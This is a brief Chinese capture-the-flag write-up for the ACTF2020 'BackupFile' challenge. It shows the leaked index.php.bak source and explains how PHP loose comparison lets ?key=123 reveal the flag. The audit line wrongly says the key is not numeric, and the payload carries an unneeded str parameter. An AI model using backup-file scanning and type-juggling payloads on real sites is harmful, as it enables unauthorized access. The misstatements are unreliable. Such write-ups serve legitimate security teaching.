[ACTF2020 新生赛]BackupFile
扫描目录,下载index.php.bak(这就是备份文件)index.php.bak
代码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
代码审计
$key不为数字,且等于$str,显示flag
这里涉及到php的弱类型,123==”123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”
传入参数得到flag
payload:
?key=123&str="123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"